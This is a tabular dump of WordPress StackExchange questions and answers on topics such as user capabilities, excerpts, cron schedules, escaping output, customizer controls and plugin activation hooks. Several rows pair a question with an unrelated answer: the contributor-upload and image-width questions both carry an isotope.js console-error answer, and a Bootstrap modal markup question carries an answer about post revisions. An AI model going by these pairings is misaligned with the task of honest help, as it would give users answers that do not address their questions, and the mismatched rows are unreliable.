qid int64 4 8.14M | question stringlengths 20 48.3k | answers list | date stringlengths 10 10 | metadata list | input stringlengths 12 45k | output stringlengths 2 31.8k |
|---|---|---|---|---|---|---|
290,195 | <p>I would like to allow contributors to upload media by using the following code added to <code>functions.php</code>. But the Add Media Button still doesn't show up.</p>
<pre class="lang-php prettyprint-override"><code>// Allow Contributors to Add Media
if ( current_user_can('contributor') && ! current_user_can('upload_files') ) {
add_action('admin_init', 'allow_contributor_uploads');
function allow_contributor_uploads() {
$contributor = get_role('contributor');
$contributor->add_cap('upload_files');
}
}
</code></pre>
| [
{
"answer_id": 290186,
"author": "Cedon",
"author_id": 80069,
"author_profile": "https://wordpress.stackexchange.com/users/80069",
"pm_score": 1,
"selected": false,
"text": "<p>Looks like there maybe a problem with your <code>plugins.js</code> on line 35 according to my console. I'm gett... | 2018/01/05 | [
"https://wordpress.stackexchange.com/questions/290195",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133386/"
] | I would like to allow contributors to upload media by using the following code added to `functions.php`. But the Add Media Button still doesn't show up.
```php
// Allow Contributors to Add Media
if ( current_user_can('contributor') && ! current_user_can('upload_files') ) {
add_action('admin_init', 'allow_contributor_uploads');
function allow_contributor_uploads() {
$contributor = get_role('contributor');
$contributor->add_cap('upload_files');
}
}
``` | Looks like there maybe a problem with your `plugins.js` on line 35 according to my console. I'm getting the error `TypeError: portfolioContainer.imagesLoaded is not a function.`
The code in question is:
```
if (jQuery().isotope){
var portfolioContainer = jQuery('.w-portfolio.type_sortable .w-portfolio-list-h');
if (portfolioContainer) {
portfolioContainer.imagesLoaded(function(){
portfolioContainer.isotope({
itemSelector : '.w-portfolio-item',
layoutMode : 'fitRows'
});
});
jQuery('.w-filters-item').each(function() {
var item = jQuery(this),
link = item.find('.w-filters-item-link');
link.click(function(){
if ( ! item.hasClass('active')) {
jQuery('.w-filters-item').removeClass('active');
item.addClass('active');
var selector = jQuery(this).attr('data-filter');
portfolioContainer.isotope({ filter: selector });
return false;
}
});
});
jQuery('.w-portfolio-item-meta-tags a').each(function() {
jQuery(this).click(function(){
var selector = jQuery(this).attr('data-filter'),
topFilterLink = jQuery('a[class="w-filters-item-link"][data-filter="'+selector+'"]'),
topFilter = topFilterLink.parent('.w-filters-item');
if ( ! topFilter.hasClass('active')) {
jQuery('.w-filters-item').removeClass('active');
topFilter.addClass('active');
portfolioContainer.isotope({ filter: selector });
return false;
}
});
});
}
```
So it looks like it's an issue with the [Isotope.js](https://isotope.metafizzy.co/) library and how your theme is implementing it. I tried to look at the theme itself in a demo but it is apparently no longer available.
Since it is a premium theme, you might want to check with the place you got it from and look into support. |
290,225 | <p>I have many containers over the said image itself such as <code>col-md-10</code> which defines a <code>max-width</code> of 80% or so, this is how I generate my post:</p>
<pre><code><article id="single-post-<?php the_ID(); ?>" <?php post_class('single-post'); ?>>
<?php
$post_share = new Post_Share( array( 'facebook', 'twitter', 'gplus', 'pinterest' ), $post, $style = 'share-style-2' );
echo $post_share->generate_share_links();
?>
<header class="single-post-header">
<div class="single-post-meta">
<?php echo _s_show_post_info( array( 'author','time', 'category') ); ?>
</div><!-- .post-meta -->
<?php
the_title( '<h1 class="single-post-title">','</h1>' );
if ( has_category() ) : ?>
<?php
$categories = (array) wp_get_post_terms( get_the_ID(), 'category' );
if ( !is_wp_error( $categories ) && !empty( $categories) ) { ?>
<div class="single-post-secondary-meta">
<span class="single-post-category-span">posted in
<a class="single-post-category" href="<?php echo get_term_link( $categories[0] )?>"><?php echo $categories[0] -> name ?>
</a>
</span>
</div><!-- .post-meta-2 -->
<?php } ?>
<?php endif; ?>
</header><!-- .post-header -->
<?php if ( has_post_thumbnail() ) : ?>
<div class="single-post-thumbnail">
<a class="single-post-thumbnail-link" href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>">
<?php the_post_thumbnail(); ?>
</a>
</div><!-- .post-thimbnail -->
<?php
endif; ?>
<div class="single-post-content">
<?php
//echo wp_trim_words( get_the_content(), 40, '...' );
the_content();
?>
</div><!-- .post-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
get_template_part('template-parts/individual_post-related-posts');
?>
</code></pre>
<p>Specifically:</p>
<pre><code>the_content();
</code></pre>
<p>Unfortunately, inserting an image results in this:</p>
<p><a href="https://i.stack.imgur.com/Dgo16.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Dgo16.png" alt="enter image description here"></a></p>
<p>Setting <code>.post-content { width: 100%; }</code> fixes it, but given there are a lot of plugins out there and rules that can be over-written, this feels like a hack.</p>
<p>What am I missing, why is this happening?</p>
| [
{
"answer_id": 290186,
"author": "Cedon",
"author_id": 80069,
"author_profile": "https://wordpress.stackexchange.com/users/80069",
"pm_score": 1,
"selected": false,
"text": "<p>Looks like there maybe a problem with your <code>plugins.js</code> on line 35 according to my console. I'm gett... | 2018/01/05 | [
"https://wordpress.stackexchange.com/questions/290225",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133461/"
] | I have many containers over the said image itself such as `col-md-10` which defines a `max-width` of 80% or so, this is how I generate my post:
```
<article id="single-post-<?php the_ID(); ?>" <?php post_class('single-post'); ?>>
<?php
$post_share = new Post_Share( array( 'facebook', 'twitter', 'gplus', 'pinterest' ), $post, $style = 'share-style-2' );
echo $post_share->generate_share_links();
?>
<header class="single-post-header">
<div class="single-post-meta">
<?php echo _s_show_post_info( array( 'author','time', 'category') ); ?>
</div><!-- .post-meta -->
<?php
the_title( '<h1 class="single-post-title">','</h1>' );
if ( has_category() ) : ?>
<?php
$categories = (array) wp_get_post_terms( get_the_ID(), 'category' );
if ( !is_wp_error( $categories ) && !empty( $categories) ) { ?>
<div class="single-post-secondary-meta">
<span class="single-post-category-span">posted in
<a class="single-post-category" href="<?php echo get_term_link( $categories[0] )?>"><?php echo $categories[0] -> name ?>
</a>
</span>
</div><!-- .post-meta-2 -->
<?php } ?>
<?php endif; ?>
</header><!-- .post-header -->
<?php if ( has_post_thumbnail() ) : ?>
<div class="single-post-thumbnail">
<a class="single-post-thumbnail-link" href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>">
<?php the_post_thumbnail(); ?>
</a>
</div><!-- .post-thimbnail -->
<?php
endif; ?>
<div class="single-post-content">
<?php
//echo wp_trim_words( get_the_content(), 40, '...' );
the_content();
?>
</div><!-- .post-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
get_template_part('template-parts/individual_post-related-posts');
?>
```
Specifically:
```
the_content();
```
Unfortunately, inserting an image results in this:
[](https://i.stack.imgur.com/Dgo16.png)
Setting `.post-content { width: 100%; }` fixes it, but given there are a lot of plugins out there and rules that can be over-written, this feels like a hack.
What am I missing, why is this happening? | Looks like there maybe a problem with your `plugins.js` on line 35 according to my console. I'm getting the error `TypeError: portfolioContainer.imagesLoaded is not a function.`
The code in question is:
```
if (jQuery().isotope){
var portfolioContainer = jQuery('.w-portfolio.type_sortable .w-portfolio-list-h');
if (portfolioContainer) {
portfolioContainer.imagesLoaded(function(){
portfolioContainer.isotope({
itemSelector : '.w-portfolio-item',
layoutMode : 'fitRows'
});
});
jQuery('.w-filters-item').each(function() {
var item = jQuery(this),
link = item.find('.w-filters-item-link');
link.click(function(){
if ( ! item.hasClass('active')) {
jQuery('.w-filters-item').removeClass('active');
item.addClass('active');
var selector = jQuery(this).attr('data-filter');
portfolioContainer.isotope({ filter: selector });
return false;
}
});
});
jQuery('.w-portfolio-item-meta-tags a').each(function() {
jQuery(this).click(function(){
var selector = jQuery(this).attr('data-filter'),
topFilterLink = jQuery('a[class="w-filters-item-link"][data-filter="'+selector+'"]'),
topFilter = topFilterLink.parent('.w-filters-item');
if ( ! topFilter.hasClass('active')) {
jQuery('.w-filters-item').removeClass('active');
topFilter.addClass('active');
portfolioContainer.isotope({ filter: selector });
return false;
}
});
});
}
```
So it looks like it's an issue with the [Isotope.js](https://isotope.metafizzy.co/) library and how your theme is implementing it. I tried to look at the theme itself in a demo but it is apparently no longer available.
Since it is a premium theme, you might want to check with the place you got it from and look into support. |
290,234 | <p>how to prevent/block direct access to a thank you page, only access if redirected from submiiting a form (in a different page)?</p>
| [
{
"answer_id": 290237,
"author": "kero",
"author_id": 108180,
"author_profile": "https://wordpress.stackexchange.com/users/108180",
"pm_score": 4,
"selected": true,
"text": "<p>If the form is redirecting from one page only, you can easily use <a href=\"https://developer.wordpress.org/ref... | 2018/01/05 | [
"https://wordpress.stackexchange.com/questions/290234",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134311/"
] | how to prevent/block direct access to a thank you page, only access if redirected from submiiting a form (in a different page)? | If the form is redirecting from one page only, you can easily use [`wp_get_referer()`](https://developer.wordpress.org/reference/functions/wp_get_referer/) to check for it and if not, redirect.
```
add_action('template_redirect', function() {
// ID of the thank you page
if (!is_page(12345)) {
return;
}
// coming from the form, so all is fine
if (wp_get_referer() === 'URL_OF_FORM') {
return;
}
// we are on thank you page
// visitor is not coming from form
// so redirect to home
wp_redirect(get_home_url());
exit;
} );
``` |
290,246 | <p>I'm working on my own custom theme (first custom WP work so I'm a real beginner) and need help in listing the first 20 words of a list of recent posts. </p>
<p>I managed to solve this with manual? excerpt but I would like to just get the first 20 words of the content, but not sure how to best do that. The application is in a list on my start page. </p>
<p>My current code looks like this</p>
<pre><code> <?php
$cdRP = get_theme_mod('cd_recent_posts', '3');
$args = array( 'numberposts' => $cdRP );
$recent_posts = wp_get_recent_posts( $args );
foreach( $recent_posts as $recent ){
echo '<div class="grid-cell"><a class="fpItems" href="' . get_permalink($recent["ID"]) . '">';
if ( has_post_thumbnail( $recent["ID"]) ) {
echo '<div>' . get_the_post_thumbnail($recent["ID"],'thumbnail') . '</div>';
}
echo '<div>'
. '<h3>' . $recent["post_title"] . '</h3>'
. '</div></a></div>';
}
wp_reset_query();
?>
</code></pre>
<p>All of this happens outside the loop. I tried to find the answer in the forums, but failed, so sorry if this has been asked and answered before. Trying my best to learn to code this wonderful tool my self :)</p>
| [
{
"answer_id": 290247,
"author": "Ben Goodman",
"author_id": 134320,
"author_profile": "https://wordpress.stackexchange.com/users/134320",
"pm_score": 1,
"selected": false,
"text": "<p>You can achieve this by using the following;</p>\n\n<pre><code>$content = get_the_content();\necho subs... | 2018/01/05 | [
"https://wordpress.stackexchange.com/questions/290246",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27546/"
] | I'm working on my own custom theme (first custom WP work so I'm a real beginner) and need help in listing the first 20 words of a list of recent posts.
I managed to solve this with manual? excerpt but I would like to just get the first 20 words of the content, but not sure how to best do that. The application is in a list on my start page.
My current code looks like this
```
<?php
$cdRP = get_theme_mod('cd_recent_posts', '3');
$args = array( 'numberposts' => $cdRP );
$recent_posts = wp_get_recent_posts( $args );
foreach( $recent_posts as $recent ){
echo '<div class="grid-cell"><a class="fpItems" href="' . get_permalink($recent["ID"]) . '">';
if ( has_post_thumbnail( $recent["ID"]) ) {
echo '<div>' . get_the_post_thumbnail($recent["ID"],'thumbnail') . '</div>';
}
echo '<div>'
. '<h3>' . $recent["post_title"] . '</h3>'
. '</div></a></div>';
}
wp_reset_query();
?>
```
All of this happens outside the loop. I tried to find the answer in the forums, but failed, so sorry if this has been asked and answered before. Trying my best to learn to code this wonderful tool my self :) | Use [`wp_trim_words()`](https://developer.wordpress.org/reference/functions/wp_trim_words/)
```
wp_trim_words( get_the_content(), 20 )
```
As you're outside the main loop
```
wp_trim_words( $recent[ 'post_content' ], 20 )
```
If you want to apply the same filters as to `the_content()` in the main loop
```
wp_trim_words( apply_filters( 'the_content', $recent[ 'post_content' ] ), 20 )
``` |
290,259 | <p>Our post have a Max width of 768, so using the medium_large images is the preferred size for our authors. I ssumed since medium_large isnpart of core, this would be included but I don't see an easy way to activate that option.</p>
<p>Can this be activated as a new hook in our functions.php?</p>
| [
{
"answer_id": 290261,
"author": "jas",
"author_id": 80247,
"author_profile": "https://wordpress.stackexchange.com/users/80247",
"pm_score": 1,
"selected": false,
"text": "<p>Please go through <a href=\"https://wpshout.com/wordpress-custom-image-sizes/\" rel=\"nofollow noreferrer\">link ... | 2018/01/05 | [
"https://wordpress.stackexchange.com/questions/290259",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/76979/"
] | Our post have a Max width of 768, so using the medium\_large images is the preferred size for our authors. I ssumed since medium\_large isnpart of core, this would be included but I don't see an easy way to activate that option.
Can this be activated as a new hook in our functions.php? | since I'm using a size already generated by WP, I just needed to add:
```
add_filter( 'image_size_names_choose', 'fresh_custom_sizes' );
function fresh_custom_sizes( $sizes ) {
return array_merge( $sizes, array(
'medium_large' => __( 'Medium Large' ),
) );
}
``` |
290,301 | <p>I'm new to WooCommerce and I have had a request to make a minor change to
the new order email which I have managed to find the template, but I am not sure which line I should change.</p>
<p>At the moment the new order email has:</p>
<blockquote>
<p>You have received an order from (billing address first name)</p>
</blockquote>
<p>But I want to change it to:</p>
<blockquote>
<p>You have received an order from (username which made the order)</p>
</blockquote>
<p>Is this possible? Would this just change the variable the email is using?</p>
<p>Thanks in advance.</p>
| [
{
"answer_id": 290365,
"author": "admcfajn",
"author_id": 123674,
"author_profile": "https://wordpress.stackexchange.com/users/123674",
"pm_score": 1,
"selected": false,
"text": "<p>Yes, it's possible.</p>\n\n<p>Copy the email folder from the plugin directory to a woocommerce folder in y... | 2018/01/06 | [
"https://wordpress.stackexchange.com/questions/290301",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134354/"
] | I'm new to WooCommerce and I have had a request to make a minor change to
the new order email which I have managed to find the template, but I am not sure which line I should change.
At the moment the new order email has:
>
> You have received an order from (billing address first name)
>
>
>
But I want to change it to:
>
> You have received an order from (username which made the order)
>
>
>
Is this possible? Would this just change the variable the email is using?
Thanks in advance. | I have found the line I need to edit I think
```
<p><?php printf( __( 'You have received an order from %s. The order is as follows:', 'woocommerce' ), $order->get_formatted_billing_full_name() ); ?></p>
```
would that change to
```
<p><?php printf( __( 'You have received an order from %s. The order is as follows:', 'woocommerce' ), $order->get_user() ); ?></p>
``` |
290,302 | <p>I've been trying to change the number of posts that is displayed on my CPT movie-review archive page and I've tried about 20 - 30 different variations (and even a few plugins), but no luck. It is <strong>stuck at 5 posts</strong>, even though I know I have 10.
There is also no pagination. update: fixed that.</p>
<p>Most of the variations I've tried look something like this</p>
<pre><code>function wpd_testimonials_query( $query ){
if( ! is_admin()
&& $query->is_post_type_archive( 'reviews' )
&& $query->is_main_query() ){
$query->set( 'posts_per_page', 15 );
}
}
add_action( 'pre_get_posts', 'wpd_testimonials_query' );
</code></pre>
<p>and adding this to functions.php doesn't change anything.</p>
<p>The setup so far:
child theme with functions.php & custom post type-archive.php
in that archive page I run the standard wordpress loop</p>
<pre><code>if (have_posts()) : while (have_posts()) : the_post(); ?>
</code></pre>
<p>Any help would be greatly appreciated!</p>
<p>update 2: changed number from 5 to 15 as it was confusing that it looked like I was trying to change it to what I am stuck at.</p>
| [
{
"answer_id": 290318,
"author": "Andrew",
"author_id": 50767,
"author_profile": "https://wordpress.stackexchange.com/users/50767",
"pm_score": 0,
"selected": false,
"text": "<p>Your <code>wpd_testimonials_query</code> function is limiting the query to 5 posts with this line:</p>\n\n<p><... | 2018/01/06 | [
"https://wordpress.stackexchange.com/questions/290302",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134352/"
] | I've been trying to change the number of posts that is displayed on my CPT movie-review archive page and I've tried about 20 - 30 different variations (and even a few plugins), but no luck. It is **stuck at 5 posts**, even though I know I have 10.
There is also no pagination. update: fixed that.
Most of the variations I've tried look something like this
```
function wpd_testimonials_query( $query ){
if( ! is_admin()
&& $query->is_post_type_archive( 'reviews' )
&& $query->is_main_query() ){
$query->set( 'posts_per_page', 15 );
}
}
add_action( 'pre_get_posts', 'wpd_testimonials_query' );
```
and adding this to functions.php doesn't change anything.
The setup so far:
child theme with functions.php & custom post type-archive.php
in that archive page I run the standard wordpress loop
```
if (have_posts()) : while (have_posts()) : the_post(); ?>
```
Any help would be greatly appreciated!
update 2: changed number from 5 to 15 as it was confusing that it looked like I was trying to change it to what I am stuck at. | Using the Query Monitor suggested by [@Andrew](https://wordpress.stackexchange.com/users/50767/andrew) (Thanks, Andrew!) I found a little gem in my parent theme that overrides everything set in my function.
I found out wordpress loads the child themes functions.php first
`myfunction{
$query->set( 'posts_per_page', 15 );
}`
so when it later loaded
`lameparentfunction{
$query->set( 'posts_per_page', 5 );
}`
It undid the changes I did. |
290,333 | <p>I have created this interval in my functions.php:</p>
<pre><code>function minute_interval( $schedules ) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Every minute')
);
return $schedules;
}
add_filter( 'cron_schedules', 'minute_interval' );
</code></pre>
<p>I have this scheduled event in my plugin:</p>
<pre><code>if (! wp_next_scheduled ( 'my_event' )) {
wp_schedule_event( time(), 'minute', 'my_event');
}
add_action( 'my_event', 'my_function' );
function my_function() {
update_option('test_option', 'test_value');
}
</code></pre>
<p>The event is added to the scheduled events list. However, it seems not to start my_function() as Wordpress does not create or update "test_option".</p>
<p>Others scheduled events from Wordpress are working well.</p>
<p>Any idea how I could make my event work?</p>
<p>Edit: after installing WP control, here's what is displayed :</p>
<p><a href="https://i.stack.imgur.com/MzptN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MzptN.png" alt="enter image description here"></a></p>
<p>edit2: my wp_schedule_event() and my_function() are both in the initialization function of my plugin, which is started when my plugin is activated.</p>
| [
{
"answer_id": 290357,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>You have to add filter:</p>\n\n<pre><code>add_filter( 'cron_schedules', 'minute_interval' );\n</code></... | 2018/01/06 | [
"https://wordpress.stackexchange.com/questions/290333",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/63073/"
] | I have created this interval in my functions.php:
```
function minute_interval( $schedules ) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Every minute')
);
return $schedules;
}
add_filter( 'cron_schedules', 'minute_interval' );
```
I have this scheduled event in my plugin:
```
if (! wp_next_scheduled ( 'my_event' )) {
wp_schedule_event( time(), 'minute', 'my_event');
}
add_action( 'my_event', 'my_function' );
function my_function() {
update_option('test_option', 'test_value');
}
```
The event is added to the scheduled events list. However, it seems not to start my\_function() as Wordpress does not create or update "test\_option".
Others scheduled events from Wordpress are working well.
Any idea how I could make my event work?
Edit: after installing WP control, here's what is displayed :
[](https://i.stack.imgur.com/MzptN.png)
edit2: my wp\_schedule\_event() and my\_function() are both in the initialization function of my plugin, which is started when my plugin is activated. | You have to add filter:
```
add_filter( 'cron_schedules', 'minute_interval' );
```
Otherwise your function minute\_interval is not invoked, interval is not defined, and event doesn't work. |
290,351 | <p>I've come across situations where people have used either <code>esc_html()</code> or <code>esc_url()</code> with certain WP functions such as <code>home_url('/')</code>. An example being in the opening anchor tag of <code><a></code> link back to the homepage such as this:</p>
<pre><code><a href="<?php echo esc_url( home_url( '/' ) ); ?>">
</code></pre>
<p>How do you know which WP functions need to be escaped and does it matter if you use <code>esc_html()</code> or <code>esc_url()</code>?</p>
<p>Any advice or guidance would be wonderful.</p>
| [
{
"answer_id": 290356,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 2,
"selected": false,
"text": "<p>Any output of untrusted data (including data from database) must be sanitized. WordPress Codex describe... | 2018/01/06 | [
"https://wordpress.stackexchange.com/questions/290351",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106972/"
] | I've come across situations where people have used either `esc_html()` or `esc_url()` with certain WP functions such as `home_url('/')`. An example being in the opening anchor tag of `<a>` link back to the homepage such as this:
```
<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
```
How do you know which WP functions need to be escaped and does it matter if you use `esc_html()` or `esc_url()`?
Any advice or guidance would be wonderful. | Any that return data.
* If a function outputs internally, then it's taken responsibility for escaping
* if a function returns the data for use, it will be unescaped to avoid double escaping, it's your responsibility
This is because you should always late escape so that there is no doubt if a variable is escaped.
If the output of APIs such as `home_url` were pre-escaped, then this would no longer be true. It would also introduce double escaping, which can be used to break past escaping in some scenarios.
Some further notes:
* don't bother to escape static strings, it's pointless
* don't try to wrap functions like `the_permalink` in `esc_url` etc, escaping functions are still functions, they aren't magic modifiers/highlighters telling PHP to secure something.
* Don't return complex HTML fragments in variables, return data, data doesn't need to be escaped, but escaping a complex HTML fragment is not easy, and usually impossible to do safely
* When using shortcodes/filters, make sure to escape the bits you add/modify, but leave the rest alone and trust it's been escaped, it's not your responsibility to escape output generated elsewhere in these situations. Having said that, don't trust it as an input either if it's being used to guide your own code |
290,385 | <pre><code> <div class="col-lg-4 col-md-4 col-sm-6 exhibitors-child">
<div class="exhibitors-border">
<?php the_post_thumbnail(); ?>
<div class="find">
<a href="" data-toggle="modal" data-target="#exhibitors-child"><small>FIND OUT MORE</small></a>
</div>
</div>
</div>
<?php endwhile; endif; wp_reset_query(); ?>
<!-- Modal -->
<div class="modal fade" id="exhibitors-child" tabindex="-1" role="dialog" aria-labelledby="exhibitors-childLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-body">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
<?php the_post_thumbnail(); ?>
<h2><?php echo get_field('name') ;?></h2>
<p><?php echo get_field('exhibitors_single_description') ;?></p>
</div>
</div>
</div>
</div>
</code></pre>
| [
{
"answer_id": 290364,
"author": "andrewsandlin",
"author_id": 131642,
"author_profile": "https://wordpress.stackexchange.com/users/131642",
"pm_score": 0,
"selected": false,
"text": "<p>Yes, it will affect performance to some degree. Revisions are stored in the database and if the datab... | 2018/01/07 | [
"https://wordpress.stackexchange.com/questions/290385",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134400/"
] | ```
<div class="col-lg-4 col-md-4 col-sm-6 exhibitors-child">
<div class="exhibitors-border">
<?php the_post_thumbnail(); ?>
<div class="find">
<a href="" data-toggle="modal" data-target="#exhibitors-child"><small>FIND OUT MORE</small></a>
</div>
</div>
</div>
<?php endwhile; endif; wp_reset_query(); ?>
<!-- Modal -->
<div class="modal fade" id="exhibitors-child" tabindex="-1" role="dialog" aria-labelledby="exhibitors-childLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-body">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<?php the_post_thumbnail(); ?>
<h2><?php echo get_field('name') ;?></h2>
<p><?php echo get_field('exhibitors_single_description') ;?></p>
</div>
</div>
</div>
</div>
``` | Having 2 revisions or 100,000 will not change front end performance in a default plugin-less WordPress setup
However plugin and theme authors who do not query the database correctly, could end up accidentally searching/querying revisions, which could have some performance issues
Here’s a snippet on it
>
> revisions take up space in your WordPress database. Some users believe that revisions can also affect some database queries run by plugins. If the plugin doesn’t specifically exclude post revisions, it might slow down your site by searching through them unnecessarily
>
>
> |
290,433 | <p>When you are using the wordpress customizer, if you don't make any changes to the settings, the wordpress customizer doesn't enable the publish button. And it shows like this:</p>
<p><a href="https://i.stack.imgur.com/vSdkn.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vSdkn.jpg" alt="enter image description here"></a></p>
<p>And I want it to be displayed like this after I make a change from my custom customizer control <strong>which is an input not linked to the customizer</strong>:</p>
<p><a href="https://i.stack.imgur.com/iIRDR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iIRDR.png" alt="enter image description here"></a></p>
<p>How can I enable the disabled publish button from my custom control when I change something with it? </p>
<p>Thanks.</p>
| [
{
"answer_id": 290495,
"author": "tpaksu",
"author_id": 14452,
"author_profile": "https://wordpress.stackexchange.com/users/14452",
"pm_score": 0,
"selected": false,
"text": "<p>Actually, triggering the change event of an linked input did the trick.</p>\n"
},
{
"answer_id": 29049... | 2018/01/08 | [
"https://wordpress.stackexchange.com/questions/290433",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14452/"
] | When you are using the wordpress customizer, if you don't make any changes to the settings, the wordpress customizer doesn't enable the publish button. And it shows like this:
[](https://i.stack.imgur.com/vSdkn.jpg)
And I want it to be displayed like this after I make a change from my custom customizer control **which is an input not linked to the customizer**:
[](https://i.stack.imgur.com/iIRDR.png)
How can I enable the disabled publish button from my custom control when I change something with it?
Thanks. | Just set the `saved` state to `false`:
```
wp.customize.bind( 'ready', function() {
wp.customize.state( 'saved' ).set( false );
} );
``` |
290,437 | <p>I am trying to create new WordPress plugin with object oriented programming.I want to create database when plugin activation and delete database when plugin deleting.Below is my code its not working for me.I have two files one is main plugin file other one is plugin functions included files.</p>
<p>main file code as below:</p>
<pre><code><?php
/*
Plugin Name: Test Reviews1
Plugin URI: https://test.in/
Description: This Test Plugin.
Version: 1.0
Author: Test
Author URI: https://test.in/
License: GPLv2 or later
*/
new test_plugin();
class test_plugin{
public function __construct(){
$this->plugin_dir = plugins_url( '' , __FILE__ );
include('inc/inc.php');
$this->security = new hidemysite_security();
}
}
</code></pre>
<p>include file code as below:</p>
<pre><code><?php
class hidemysite_security{
public function __construct() {
if (is_admin()) {
register_activation_hook(__FILE__, array(&$this, 'activate'));
register_deactivation_hook( __FILE__, 'my_plugin_remove_database' );
}
}
public function activate() {
global $wpdb;
$table = $wpdb->prefix . 'md_things';
$charset = $wpdb->get_charset_collate();
$charset_collate = $wpdb->get_charset_collate();
$sql = "CREATE TABLE $table (
id mediumint(9) NOT NULL AUTO_INCREMENT,
time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
name tinytext NOT NULL,
text text NOT NULL,
url varchar(55) DEFAULT '' NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
public function my_plugin_remove_database() {
global $wpdb;
$table_name = $wpdb->prefix . 'md_things';
$sql = "DROP TABLE IF EXISTS $table_name";
$wpdb->query($sql);
//delete_option("jal_db_version");
}
//
}
</code></pre>
<p>Could You Please Help Me ?</p>
| [
{
"answer_id": 290448,
"author": "mukto90",
"author_id": 57944,
"author_profile": "https://wordpress.stackexchange.com/users/57944",
"pm_score": 1,
"selected": false,
"text": "<p>Use this code instead-</p>\n\n<pre><code>class hidemysite_security{\n\n public function __construct() {\n ... | 2018/01/08 | [
"https://wordpress.stackexchange.com/questions/290437",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134441/"
] | I am trying to create new WordPress plugin with object oriented programming.I want to create database when plugin activation and delete database when plugin deleting.Below is my code its not working for me.I have two files one is main plugin file other one is plugin functions included files.
main file code as below:
```
<?php
/*
Plugin Name: Test Reviews1
Plugin URI: https://test.in/
Description: This Test Plugin.
Version: 1.0
Author: Test
Author URI: https://test.in/
License: GPLv2 or later
*/
new test_plugin();
class test_plugin{
public function __construct(){
$this->plugin_dir = plugins_url( '' , __FILE__ );
include('inc/inc.php');
$this->security = new hidemysite_security();
}
}
```
include file code as below:
```
<?php
class hidemysite_security{
public function __construct() {
if (is_admin()) {
register_activation_hook(__FILE__, array(&$this, 'activate'));
register_deactivation_hook( __FILE__, 'my_plugin_remove_database' );
}
}
public function activate() {
global $wpdb;
$table = $wpdb->prefix . 'md_things';
$charset = $wpdb->get_charset_collate();
$charset_collate = $wpdb->get_charset_collate();
$sql = "CREATE TABLE $table (
id mediumint(9) NOT NULL AUTO_INCREMENT,
time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
name tinytext NOT NULL,
text text NOT NULL,
url varchar(55) DEFAULT '' NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
public function my_plugin_remove_database() {
global $wpdb;
$table_name = $wpdb->prefix . 'md_things';
$sql = "DROP TABLE IF EXISTS $table_name";
$wpdb->query($sql);
//delete_option("jal_db_version");
}
//
}
```
Could You Please Help Me ? | Use this code instead-
```
class hidemysite_security{
public function __construct() {
if (is_admin()) {
register_activation_hook(__FILE__, array( $this, 'activate'));
register_deactivation_hook( __FILE__, array( $this, 'my_plugin_remove_database' ) );
}
}
public function activate() {
global $wpdb;
$table = $wpdb->prefix . 'md_things';
$charset = $wpdb->get_charset_collate();
$charset_collate = $wpdb->get_charset_collate();
$sql = "CREATE TABLE $table (
id mediumint(9) NOT NULL AUTO_INCREMENT,
time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
name tinytext NOT NULL,
text text NOT NULL,
url varchar(55) DEFAULT '' NOT NULL,
PRIMARY KEY (id)
) $charset_collate;";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
public function my_plugin_remove_database() {
global $wpdb;
$table_name = $wpdb->prefix . 'md_things';
$sql = "DROP TABLE IF EXISTS $table_name";
$wpdb->query($sql);
//delete_option("jal_db_version");
}
//
}
```
These 2 lines were modified-
```
register_activation_hook(__FILE__, array( $this, 'activate'));
register_deactivation_hook( __FILE__, array( $this, 'my_plugin_remove_database' ) );
``` |
290,455 | <p>I have several different pages. Every one of them has different css links. Rather than the css links all items are same in the head element of those pages.
I need to shift those head element to <code>header.php</code> so that I can include head using <code>get_header()</code>. </p>
<p>So How can I load different css file for different pages? I have around 20 different pages, so load file after condition check is bit messy to me.<br>
Is there any better approach to do than <a href="https://wordpress.stackexchange.com/questions/222565/how-to-load-different-css-in-different-header">this</a>?<br>
If possible suggest me to solve this problem using custom plugin?</p>
<p><strong>page 1:</strong> </p>
<pre><code><html lang="en">
<head>
<link rel="stylesheet" href="css/one.css" />
.......
</head>
